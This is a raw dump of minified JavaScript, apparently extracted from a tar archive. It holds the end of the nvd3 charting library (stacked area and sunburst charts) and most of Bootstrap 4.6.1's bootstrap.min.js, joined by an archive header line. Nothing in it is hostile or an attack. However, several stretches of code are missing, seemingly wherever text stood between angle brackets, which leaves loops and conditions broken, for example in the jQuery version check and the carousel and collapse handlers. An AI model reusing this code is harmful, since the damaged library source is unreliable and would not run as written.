p=f.tickFormat()(b.x()(d,g)),q=j.tooltip.valueFormatter();"expand"===e.style()||"stack_percent"===e.style()?(E||(E=q),q=d3.format(".1%")):E&&(q=E,E=null),j.tooltip.position({left:h+l.left,top:c.mouseY+l.top}).chartContainer(F.parentNode).valueFormatter(q).data({value:p,series:i})(),j.renderGuideLine(h)}),j.dispatch.on("elementMouseout",function(){e.clearHighlights()}),y.on("changeState",function(a){"undefined"!=typeof a.disabled&&k.length===a.disabled.length&&(k.forEach(function(b,c){b.disabled=a.disabled[c]}),v.disabled=a.disabled),"undefined"!=typeof a.style&&(e.style(a.style),G=a.style),b.update()})}),F.renderEnd("stacked Area chart immediate"),b}var c,d,e=a.models.stackedArea(),f=a.models.axis(),g=a.models.axis(),h=a.models.legend(),i=a.models.legend(),j=a.interactiveGuideline(),k=a.models.tooltip(),l={top:30,right:25,bottom:50,left:60},m=null,n=null,o=a.utils.defaultColor(),p=!0,q=!0,r=!0,s=!0,t=!1,u=!1,v=a.utils.state(),w=null,x=null,y=d3.dispatch("stateChange","changeState","renderEnd"),z=250,A=["Stacked","Stream","Expanded"],B={},C=250;v.style=e.style(),f.orient("bottom").tickPadding(7),g.orient(t?"right":"left"),k.headerFormatter(function(a,b){return f.tickFormat()(a,b)}).valueFormatter(function(a,b){return g.tickFormat()(a,b)}),j.tooltip.headerFormatter(function(a,b){return f.tickFormat()(a,b)}).valueFormatter(function(a,b){return g.tickFormat()(a,b)});var D=null,E=null;i.updateState(!1);var F=a.utils.renderWatch(y),G=e.style(),H=function(a){return function(){return{active:a.map(function(a){return!a.disabled}),style:e.style()}}},I=function(a){return function(b){void 0!==b.style&&(G=b.style),void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}},J=d3.format("%");return e.dispatch.on("elementMouseover.tooltip",function(a){a.point.x=e.x()(a.point),a.point.y=e.y()(a.point),k.data(a).position(a.pos).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){k.hidden(!0)}),b.dispatch=y,b.stacked=e,b.legend=h,b.controls=i,b.xAxis=f,b.yAxis=g,b.interactiveLayer=j,b.tooltip=k,b.dispatch=y,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return m},set:function(a){m=a}},height:{get:function(){return n},set:function(a){n=a}},showLegend:{get:function(){return q},set:function(a){q=a}},showXAxis:{get:function(){return r},set:function(a){r=a}},showYAxis:{get:function(){return s},set:function(a){s=a}},defaultState:{get:function(){return w},set:function(a){w=a}},noData:{get:function(){return x},set:function(a){x=a}},showControls:{get:function(){return p},set:function(a){p=a}},controlLabels:{get:function(){return B},set:function(a){B=a}},controlOptions:{get:function(){return A},set:function(a){A=a}},tooltips:{get:function(){return k.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),k.enabled(!!b)}},tooltipContent:{get:function(){return k.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),k.contentGenerator(b)}},margin:{get:function(){return l},set:function(a){l.top=void 0!==a.top?a.top:l.top,l.right=void 0!==a.right?a.right:l.right,l.bottom=void 0!==a.bottom?a.bottom:l.bottom,l.left=void 0!==a.left?a.left:l.left}},duration:{get:function(){return C},set:function(a){C=a,F.reset(C),e.duration(C),f.duration(C),g.duration(C)}},color:{get:function(){return o},set:function(b){o=a.utils.getColor(b),h.color(o),e.color(o)}},rightAlignYAxis:{get:function(){return t},set:function(a){t=a,g.orient(t?"right":"left")}},useInteractiveGuideline:{get:function(){return u},set:function(a){u=!!a,b.interactive(!a),b.useVoronoi(!a),e.scatter.interactive(!a)}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.sunburst=function(){"use strict";function b(u){return t.reset(),u.each(function(b){function t(a){a.x0=a.x,a.dx0=a.dx}function u(a){var b=d3.interpolate(p.domain(),[a.x,a.x+a.dx]),c=d3.interpolate(q.domain(),[a.y,1]),d=d3.interpolate(q.range(),[a.y?20:0,y]);return function(a,e){return e?function(){return s(a)}:function(e){return p.domain(b(e)),q.domain(c(e)).range(d(e)),s(a)}}}l=d3.select(this);var v,w=a.utils.availableWidth(g,l,f),x=a.utils.availableHeight(h,l,f),y=Math.min(w,x)/2;a.utils.initSVG(l);var z=l.selectAll(".nv-wrap.nv-sunburst").data(b),A=z.enter().append("g").attr("class","nvd3 nv-wrap nv-sunburst nv-chart-"+k),B=A.selectAll("nv-sunburst");z.attr("transform","translate("+w/2+","+x/2+")"),l.on("click",function(a,b){o.chartClick({data:a,index:b,pos:d3.event,id:k})}),q.range([0,y]),c=c||b,e=b[0],r.value(j[i]||j.count),v=B.data(r.nodes).enter().append("path").attr("d",s).style("fill",function(a){return m((a.children?a:a.parent).name)}).style("stroke","#FFF").on("click",function(a){d!==c&&c!==a&&(d=c),c=a,v.transition().duration(n).attrTween("d",u(a))}).each(t).on("dblclick",function(a){d.parent==a&&v.transition().duration(n).attrTween("d",u(e))}).each(t).on("mouseover",function(a){d3.select(this).classed("hover",!0).style("opacity",.8),o.elementMouseover({data:a,color:d3.select(this).style("fill")})}).on("mouseout",function(a){d3.select(this).classed("hover",!1).style("opacity",1),o.elementMouseout({data:a})}).on("mousemove",function(a){o.elementMousemove({data:a})})}),t.renderEnd("sunburst immediate"),b}var c,d,e,f={top:0,right:0,bottom:0,left:0},g=null,h=null,i="count",j={count:function(){return 1},size:function(a){return a.size}},k=Math.floor(1e4*Math.random()),l=null,m=a.utils.defaultColor(),n=500,o=d3.dispatch("chartClick","elementClick","elementDblClick","elementMousemove","elementMouseover","elementMouseout","renderEnd"),p=d3.scale.linear().range([0,2*Math.PI]),q=d3.scale.sqrt(),r=d3.layout.partition().sort(null).value(function(){return 1}),s=d3.svg.arc().startAngle(function(a){return Math.max(0,Math.min(2*Math.PI,p(a.x)))}).endAngle(function(a){return Math.max(0,Math.min(2*Math.PI,p(a.x+a.dx)))}).innerRadius(function(a){return Math.max(0,q(a.y))}).outerRadius(function(a){return Math.max(0,q(a.y+a.dy))}),t=a.utils.renderWatch(o);return b.dispatch=o,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return g},set:function(a){g=a}},height:{get:function(){return h},set:function(a){h=a}},mode:{get:function(){return i},set:function(a){i=a}},id:{get:function(){return k},set:function(a){k=a}},duration:{get:function(){return n},set:function(a){n=a}},margin:{get:function(){return f},set:function(a){f.top=void 0!=a.top?a.top:f.top,f.right=void 0!=a.right?a.right:f.right,f.bottom=void 0!=a.bottom?a.bottom:f.bottom,f.left=void 0!=a.left?a.left:f.left}},color:{get:function(){return m},set:function(b){m=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.sunburstChart=function(){"use strict";function b(d){return m.reset(),m.models(c),d.each(function(d){var h=d3.select(this);a.utils.initSVG(h);var i=a.utils.availableWidth(f,h,e),j=a.utils.availableHeight(g,h,e);if(b.update=function(){0===k?h.call(b):h.transition().duration(k).call(b)},b.container=this,!d||!d.length)return a.utils.noData(b,h),b;h.selectAll(".nv-noData").remove();var l=h.selectAll("g.nv-wrap.nv-sunburstChart").data(d),m=l.enter().append("g").attr("class","nvd3 nv-wrap nv-sunburstChart").append("g"),n=l.select("g");m.append("g").attr("class","nv-sunburstWrap"),l.attr("transform","translate("+e.left+","+e.top+")"),c.width(i).height(j);var o=n.select(".nv-sunburstWrap").datum(d);d3.transition(o).call(c)}),m.renderEnd("sunburstChart immediate"),b}var c=a.models.sunburst(),d=a.models.tooltip(),e={top:30,right:20,bottom:20,left:20},f=null,g=null,h=a.utils.defaultColor(),i=(Math.round(1e5*Math.random()),null),j=null,k=250,l=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd"),m=a.utils.renderWatch(l);return d.headerEnabled(!1).duration(0).valueFormatter(function(a){return a}),c.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:a.data.name,value:a.data.size,color:a.color},d.data(a).hidden(!1)}),c.dispatch.on("elementMouseout.tooltip",function(){d.hidden(!0)}),c.dispatch.on("elementMousemove.tooltip",function(){d.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=l,b.sunburst=c,b.tooltip=d,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{noData:{get:function(){return j},set:function(a){j=a}},defaultState:{get:function(){return i},set:function(a){i=a}},color:{get:function(){return h},set:function(a){h=a,c.color(h)}},duration:{get:function(){return k},set:function(a){k=a,m.reset(k),c.duration(k)}},margin:{get:function(){return e},set:function(a){e.top=void 0!==a.top?a.top:e.top,e.right=void 0!==a.right?a.right:e.right,e.bottom=void 0!==a.bottom?a.bottom:e.bottom,e.left=void 0!==a.left?a.left:e.left}}}),a.utils.inheritOptions(b,c),a.utils.initOptions(b),b},a.version="1.8.1"}();readability/vendor/phpunit/php-code-coverage/src/Report/Html/Renderer/Template/js/bootstrap.min.js000064400000171750147577714370030124 0ustar00res/*! * Bootstrap v4.6.1 (https://getbootstrap.com/) * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e((t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap={},t.jQuery,t.Popper)}(this,(function(t,e,n){"use strict";function i(t){return t&&"object"==typeof t&&"default"in t?t:{default:t}}var o=i(e),a=i(n);function s(t,e){for(var n=0;n=4)throw new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v4.0.0")}};d.jQueryDetection(),o.default.fn.emulateTransitionEnd=function(t){var e=this,n=!1;return o.default(this).one(d.TRANSITION_END,(function(){n=!0})),setTimeout((function(){n||d.triggerTransitionEnd(e)}),t),this},o.default.event.special[d.TRANSITION_END]={bindType:f,delegateType:f,handle:function(t){if(o.default(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}};var c="bs.alert",h=o.default.fn.alert,g=function(){function t(t){this._element=t}var e=t.prototype;return e.close=function(t){var e=this._element;t&&(e=this._getRootElement(t)),this._triggerCloseEvent(e).isDefaultPrevented()||this._removeElement(e)},e.dispose=function(){o.default.removeData(this._element,c),this._element=null},e._getRootElement=function(t){var e=d.getSelectorFromElement(t),n=!1;return e&&(n=document.querySelector(e)),n||(n=o.default(t).closest(".alert")[0]),n},e._triggerCloseEvent=function(t){var e=o.default.Event("close.bs.alert");return o.default(t).trigger(e),e},e._removeElement=function(t){var e=this;if(o.default(t).removeClass("show"),o.default(t).hasClass("fade")){var n=d.getTransitionDurationFromElement(t);o.default(t).one(d.TRANSITION_END,(function(n){return e._destroyElement(t,n)})).emulateTransitionEnd(n)}else this._destroyElement(t)},e._destroyElement=function(t){o.default(t).detach().trigger("closed.bs.alert").remove()},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data(c);i||(i=new t(this),n.data(c,i)),"close"===e&&i[e](this)}))},t._handleDismiss=function(t){return function(e){e&&e.preventDefault(),t.close(this)}},l(t,null,[{key:"VERSION",get:function(){return"4.6.1"}}]),t}();o.default(document).on("click.bs.alert.data-api",'[data-dismiss="alert"]',g._handleDismiss(new g)),o.default.fn.alert=g._jQueryInterface,o.default.fn.alert.Constructor=g,o.default.fn.alert.noConflict=function(){return o.default.fn.alert=h,g._jQueryInterface};var m="bs.button",p=o.default.fn.button,_="active",v='[data-toggle^="button"]',y='input:not([type="hidden"])',b=".btn",E=function(){function t(t){this._element=t,this.shouldAvoidTriggerChange=!1}var e=t.prototype;return e.toggle=function(){var t=!0,e=!0,n=o.default(this._element).closest('[data-toggle="buttons"]')[0];if(n){var i=this._element.querySelector(y);if(i){if("radio"===i.type)if(i.checked&&this._element.classList.contains(_))t=!1;else{var a=n.querySelector(".active");a&&o.default(a).removeClass(_)}t&&("checkbox"!==i.type&&"radio"!==i.type||(i.checked=!this._element.classList.contains(_)),this.shouldAvoidTriggerChange||o.default(i).trigger("change")),i.focus(),e=!1}}this._element.hasAttribute("disabled")||this._element.classList.contains("disabled")||(e&&this._element.setAttribute("aria-pressed",!this._element.classList.contains(_)),t&&o.default(this._element).toggleClass(_))},e.dispose=function(){o.default.removeData(this._element,m),this._element=null},t._jQueryInterface=function(e,n){return this.each((function(){var i=o.default(this),a=i.data(m);a||(a=new t(this),i.data(m,a)),a.shouldAvoidTriggerChange=n,"toggle"===e&&a[e]()}))},l(t,null,[{key:"VERSION",get:function(){return"4.6.1"}}]),t}();o.default(document).on("click.bs.button.data-api",v,(function(t){var e=t.target,n=e;if(o.default(e).hasClass("btn")||(e=o.default(e).closest(b)[0]),!e||e.hasAttribute("disabled")||e.classList.contains("disabled"))t.preventDefault();else{var i=e.querySelector(y);if(i&&(i.hasAttribute("disabled")||i.classList.contains("disabled")))return void t.preventDefault();"INPUT"!==n.tagName&&"LABEL"===e.tagName||E._jQueryInterface.call(o.default(e),"toggle","INPUT"===n.tagName)}})).on("focus.bs.button.data-api blur.bs.button.data-api",v,(function(t){var e=o.default(t.target).closest(b)[0];o.default(e).toggleClass("focus",/^focus(in)?$/.test(t.type))})),o.default(window).on("load.bs.button.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-toggle="buttons"] .btn')),e=0,n=t.length;e0,this._pointerEvent=Boolean(window.PointerEvent||window.MSPointerEvent),this._addEventListeners()}var e=t.prototype;return e.next=function(){this._isSliding||this._slide(N)},e.nextWhenVisible=function(){var t=o.default(this._element);!document.hidden&&t.is(":visible")&&"hidden"!==t.css("visibility")&&this.next()},e.prev=function(){this._isSliding||this._slide(D)},e.pause=function(t){t||(this._isPaused=!0),this._element.querySelector(".carousel-item-next, .carousel-item-prev")&&(d.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},e.cycle=function(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interval&&!this._isPaused&&(this._updateInterval(),this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},e.to=function(t){var e=this;this._activeElement=this._element.querySelector(I);var n=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1||t<0))if(this._isSliding)o.default(this._element).one(A,(function(){return e.to(t)}));else{if(n===t)return this.pause(),void this.cycle();var i=t>n?N:D;this._slide(i,this._items[t])}},e.dispose=function(){o.default(this._element).off(".bs.carousel"),o.default.removeData(this._element,w),this._items=null,this._config=null,this._element=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},e._getConfig=function(t){return t=r({},k,t),d.typeCheckConfig(T,t,O),t},e._handleSwipe=function(){var t=Math.abs(this.touchDeltaX);if(!(t<=40)){var e=t/this.touchDeltaX;this.touchDeltaX=0,e>0&&this.prev(),e<0&&this.next()}},e._addEventListeners=function(){var t=this;this._config.keyboard&&o.default(this._element).on("keydown.bs.carousel",(function(e){return t._keydown(e)})),"hover"===this._config.pause&&o.default(this._element).on("mouseenter.bs.carousel",(function(e){return t.pause(e)})).on("mouseleave.bs.carousel",(function(e){return t.cycle(e)})),this._config.touch&&this._addTouchEventListeners()},e._addTouchEventListeners=function(){var t=this;if(this._touchSupported){var e=function(e){t._pointerEvent&&j[e.originalEvent.pointerType.toUpperCase()]?t.touchStartX=e.originalEvent.clientX:t._pointerEvent||(t.touchStartX=e.originalEvent.touches[0].clientX)},n=function(e){t._pointerEvent&&j[e.originalEvent.pointerType.toUpperCase()]&&(t.touchDeltaX=e.originalEvent.clientX-t.touchStartX),t._handleSwipe(),"hover"===t._config.pause&&(t.pause(),t.touchTimeout&&clearTimeout(t.touchTimeout),t.touchTimeout=setTimeout((function(e){return t.cycle(e)}),500+t._config.interval))};o.default(this._element.querySelectorAll(".carousel-item img")).on("dragstart.bs.carousel",(function(t){return t.preventDefault()})),this._pointerEvent?(o.default(this._element).on("pointerdown.bs.carousel",(function(t){return e(t)})),o.default(this._element).on("pointerup.bs.carousel",(function(t){return n(t)})),this._element.classList.add("pointer-event")):(o.default(this._element).on("touchstart.bs.carousel",(function(t){return e(t)})),o.default(this._element).on("touchmove.bs.carousel",(function(e){return function(e){t.touchDeltaX=e.originalEvent.touches&&e.originalEvent.touches.length>1?0:e.originalEvent.touches[0].clientX-t.touchStartX}(e)})),o.default(this._element).on("touchend.bs.carousel",(function(t){return n(t)})))}},e._keydown=function(t){if(!/input|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},e._getItemIndex=function(t){return this._items=t&&t.parentNode?[].slice.call(t.parentNode.querySelectorAll(".carousel-item")):[],this._items.indexOf(t)},e._getItemByDirection=function(t,e){var n=t===N,i=t===D,o=this._getItemIndex(e),a=this._items.length-1;if((i&&0===o||n&&o===a)&&!this._config.wrap)return e;var s=(o+(t===D?-1:1))%this._items.length;return-1===s?this._items[this._items.length-1]:this._items[s]},e._triggerSlideEvent=function(t,e){var n=this._getItemIndex(t),i=this._getItemIndex(this._element.querySelector(I)),a=o.default.Event("slide.bs.carousel",{relatedTarget:t,direction:e,from:i,to:n});return o.default(this._element).trigger(a),a},e._setActiveIndicatorElement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll(".active"));o.default(e).removeClass(S);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&o.default(n).addClass(S)}},e._updateInterval=function(){var t=this._activeElement||this._element.querySelector(I);if(t){var e=parseInt(t.getAttribute("data-interval"),10);e?(this._config.defaultInterval=this._config.defaultInterval||this._config.interval,this._config.interval=e):this._config.interval=this._config.defaultInterval||this._config.interval}},e._slide=function(t,e){var n,i,a,s=this,l=this._element.querySelector(I),r=this._getItemIndex(l),u=e||l&&this._getItemByDirection(t,l),f=this._getItemIndex(u),c=Boolean(this._interval);if(t===N?(n="carousel-item-left",i="carousel-item-next",a="left"):(n="carousel-item-right",i="carousel-item-prev",a="right"),u&&o.default(u).hasClass(S))this._isSliding=!1;else if(!this._triggerSlideEvent(u,a).isDefaultPrevented()&&l&&u){this._isSliding=!0,c&&this.pause(),this._setActiveIndicatorElement(u),this._activeElement=u;var h=o.default.Event(A,{relatedTarget:u,direction:a,from:r,to:f});if(o.default(this._element).hasClass("slide")){o.default(u).addClass(i),d.reflow(u),o.default(l).addClass(n),o.default(u).addClass(n);var g=d.getTransitionDurationFromElement(l);o.default(l).one(d.TRANSITION_END,(function(){o.default(u).removeClass(n+" "+i).addClass(S),o.default(l).removeClass("active "+i+" "+n),s._isSliding=!1,setTimeout((function(){return o.default(s._element).trigger(h)}),0)})).emulateTransitionEnd(g)}else o.default(l).removeClass(S),o.default(u).addClass(S),this._isSliding=!1,o.default(this._element).trigger(h);c&&this.cycle()}},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this).data(w),i=r({},k,o.default(this).data());"object"==typeof e&&(i=r({},i,e));var a="string"==typeof e?e:i.slide;if(n||(n=new t(this,i),o.default(this).data(w,n)),"number"==typeof e)n.to(e);else if("string"==typeof a){if("undefined"==typeof n[a])throw new TypeError('No method named "'+a+'"');n[a]()}else i.interval&&i.ride&&(n.pause(),n.cycle())}))},t._dataApiClickHandler=function(e){var n=d.getSelectorFromElement(this);if(n){var i=o.default(n)[0];if(i&&o.default(i).hasClass("carousel")){var a=r({},o.default(i).data(),o.default(this).data()),s=this.getAttribute("data-slide-to");s&&(a.interval=!1),t._jQueryInterface.call(o.default(i),a),s&&o.default(i).data(w).to(s),e.preventDefault()}}},l(t,null,[{key:"VERSION",get:function(){return"4.6.1"}},{key:"Default",get:function(){return k}}]),t}();o.default(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",P._dataApiClickHandler),o.default(window).on("load.bs.carousel.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-ride="carousel"]')),e=0,n=t.length;e0&&(this._selector=s,this._triggerArray.push(a))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}var e=t.prototype;return e.toggle=function(){o.default(this._element).hasClass(q)?this.hide():this.show()},e.show=function(){var e,n,i=this;if(!(this._isTransitioning||o.default(this._element).hasClass(q)||(this._parent&&0===(e=[].slice.call(this._parent.querySelectorAll(".show, .collapsing")).filter((function(t){return"string"==typeof i._config.parent?t.getAttribute("data-parent")===i._config.parent:t.classList.contains(F)}))).length&&(e=null),e&&(n=o.default(e).not(this._selector).data(R))&&n._isTransitioning))){var a=o.default.Event("show.bs.collapse");if(o.default(this._element).trigger(a),!a.isDefaultPrevented()){e&&(t._jQueryInterface.call(o.default(e).not(this._selector),"hide"),n||o.default(e).data(R,null));var s=this._getDimension();o.default(this._element).removeClass(F).addClass(Q),this._element.style[s]=0,this._triggerArray.length&&o.default(this._triggerArray).removeClass(B).attr("aria-expanded",!0),this.setTransitioning(!0);var l="scroll"+(s[0].toUpperCase()+s.slice(1)),r=d.getTransitionDurationFromElement(this._element);o.default(this._element).one(d.TRANSITION_END,(function(){o.default(i._element).removeClass(Q).addClass("collapse show"),i._element.style[s]="",i.setTransitioning(!1),o.default(i._element).trigger("shown.bs.collapse")})).emulateTransitionEnd(r),this._element.style[s]=this._element[l]+"px"}}},e.hide=function(){var t=this;if(!this._isTransitioning&&o.default(this._element).hasClass(q)){var e=o.default.Event("hide.bs.collapse");if(o.default(this._element).trigger(e),!e.isDefaultPrevented()){var n=this._getDimension();this._element.style[n]=this._element.getBoundingClientRect()[n]+"px",d.reflow(this._element),o.default(this._element).addClass(Q).removeClass("collapse show");var i=this._triggerArray.length;if(i>0)for(var a=0;a0},e._getOffset=function(){var t=this,e={};return"function"==typeof this._config.offset?e.fn=function(e){return e.offsets=r({},e.offsets,t._config.offset(e.offsets,t._element)),e}:e.offset=this._config.offset,e},e._getPopperConfig=function(){var t={placement:this._getPlacement(),modifiers:{offset:this._getOffset(),flip:{enabled:this._config.flip},preventOverflow:{boundariesElement:this._config.boundary}}};return"static"===this._config.display&&(t.modifiers.applyStyle={enabled:!1}),r({},t,this._config.popperConfig)},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this).data(K);if(n||(n=new t(this,"object"==typeof e?e:null),o.default(this).data(K,n)),"string"==typeof e){if("undefined"==typeof n[e])throw new TypeError('No method named "'+e+'"');n[e]()}}))},t._clearMenus=function(e){if(!e||3!==e.which&&("keyup"!==e.type||9===e.which))for(var n=[].slice.call(document.querySelectorAll(it)),i=0,a=n.length;i0&&s--,40===e.which&&sdocument.documentElement.clientHeight;n||(this._element.style.overflowY="hidden"),this._element.classList.add(ht);var i=d.getTransitionDurationFromElement(this._dialog);o.default(this._element).off(d.TRANSITION_END),o.default(this._element).one(d.TRANSITION_END,(function(){t._element.classList.remove(ht),n||o.default(t._element).one(d.TRANSITION_END,(function(){t._element.style.overflowY=""})).emulateTransitionEnd(t._element,i)})).emulateTransitionEnd(i),this._element.focus()}},e._showElement=function(t){var e=this,n=o.default(this._element).hasClass(dt),i=this._dialog?this._dialog.querySelector(".modal-body"):null;this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),o.default(this._dialog).hasClass("modal-dialog-scrollable")&&i?i.scrollTop=0:this._element.scrollTop=0,n&&d.reflow(this._element),o.default(this._element).addClass(ct),this._config.focus&&this._enforceFocus();var a=o.default.Event("shown.bs.modal",{relatedTarget:t}),s=function(){e._config.focus&&e._element.focus(),e._isTransitioning=!1,o.default(e._element).trigger(a)};if(n){var l=d.getTransitionDurationFromElement(this._dialog);o.default(this._dialog).one(d.TRANSITION_END,s).emulateTransitionEnd(l)}else s()},e._enforceFocus=function(){var t=this;o.default(document).off(pt).on(pt,(function(e){document!==e.target&&t._element!==e.target&&0===o.default(t._element).has(e.target).length&&t._element.focus()}))},e._setEscapeEvent=function(){var t=this;this._isShown?o.default(this._element).on(yt,(function(e){t._config.keyboard&&27===e.which?(e.preventDefault(),t.hide()):t._config.keyboard||27!==e.which||t._triggerBackdropTransition()})):this._isShown||o.default(this._element).off(yt)},e._setResizeEvent=function(){var t=this;this._isShown?o.default(window).on(_t,(function(e){return t.handleUpdate(e)})):o.default(window).off(_t)},e._hideModal=function(){var t=this;this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._showBackdrop((function(){o.default(document.body).removeClass(ft),t._resetAdjustments(),t._resetScrollbar(),o.default(t._element).trigger(gt)}))},e._removeBackdrop=function(){this._backdrop&&(o.default(this._backdrop).remove(),this._backdrop=null)},e._showBackdrop=function(t){var e=this,n=o.default(this._element).hasClass(dt)?dt:"";if(this._isShown&&this._config.backdrop){if(this._backdrop=document.createElement("div"),this._backdrop.className="modal-backdrop",n&&this._backdrop.classList.add(n),o.default(this._backdrop).appendTo(document.body),o.default(this._element).on(vt,(function(t){e._ignoreBackdropClick?e._ignoreBackdropClick=!1:t.target===t.currentTarget&&("static"===e._config.backdrop?e._triggerBackdropTransition():e.hide())})),n&&d.reflow(this._backdrop),o.default(this._backdrop).addClass(ct),!t)return;if(!n)return void t();var i=d.getTransitionDurationFromElement(this._backdrop);o.default(this._backdrop).one(d.TRANSITION_END,t).emulateTransitionEnd(i)}else if(!this._isShown&&this._backdrop){o.default(this._backdrop).removeClass(ct);var a=function(){e._removeBackdrop(),t&&t()};if(o.default(this._element).hasClass(dt)){var s=d.getTransitionDurationFromElement(this._backdrop);o.default(this._backdrop).one(d.TRANSITION_END,a).emulateTransitionEnd(s)}else a()}else t&&t()},e._adjustDialog=function(){var t=this._element.scrollHeight>document.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},e._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},e._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=Math.round(t.left+t.right)
              ',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent",customClass:"",sanitize:!0,sanitizeFn:null,whiteList:{"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},popperConfig:null},Ut={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string|function)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)",customClass:"(string|function)",sanitize:"boolean",sanitizeFn:"(null|function)",whiteList:"object",popperConfig:"(null|object)"},Mt={HIDE:"hide.bs.tooltip",HIDDEN:"hidden.bs.tooltip",SHOW:"show.bs.tooltip",SHOWN:"shown.bs.tooltip",INSERTED:"inserted.bs.tooltip",CLICK:"click.bs.tooltip",FOCUSIN:"focusin.bs.tooltip",FOCUSOUT:"focusout.bs.tooltip",MOUSEENTER:"mouseenter.bs.tooltip",MOUSELEAVE:"mouseleave.bs.tooltip"},Wt=function(){function t(t,e){if("undefined"==typeof a.default)throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var e=t.prototype;return e.enable=function(){this._isEnabled=!0},e.disable=function(){this._isEnabled=!1},e.toggleEnabled=function(){this._isEnabled=!this._isEnabled},e.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=o.default(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),o.default(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(o.default(this.getTipElement()).hasClass(Rt))return void this._leave(null,this);this._enter(null,this)}},e.dispose=function(){clearTimeout(this._timeout),o.default.removeData(this.element,this.constructor.DATA_KEY),o.default(this.element).off(this.constructor.EVENT_KEY),o.default(this.element).closest(".modal").off("hide.bs.modal",this._hideModalHandler),this.tip&&o.default(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,this._activeTrigger=null,this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},e.show=function(){var t=this;if("none"===o.default(this.element).css("display"))throw new Error("Please use show on visible elements");var e=o.default.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){o.default(this.element).trigger(e);var n=d.findShadowRoot(this.element),i=o.default.contains(null!==n?n:this.element.ownerDocument.documentElement,this.element);if(e.isDefaultPrevented()||!i)return;var s=this.getTipElement(),l=d.getUID(this.constructor.NAME);s.setAttribute("id",l),this.element.setAttribute("aria-describedby",l),this.setContent(),this.config.animation&&o.default(s).addClass(Lt);var r="function"==typeof this.config.placement?this.config.placement.call(this,s,this.element):this.config.placement,u=this._getAttachment(r);this.addAttachmentClass(u);var f=this._getContainer();o.default(s).data(this.constructor.DATA_KEY,this),o.default.contains(this.element.ownerDocument.documentElement,this.tip)||o.default(s).appendTo(f),o.default(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new 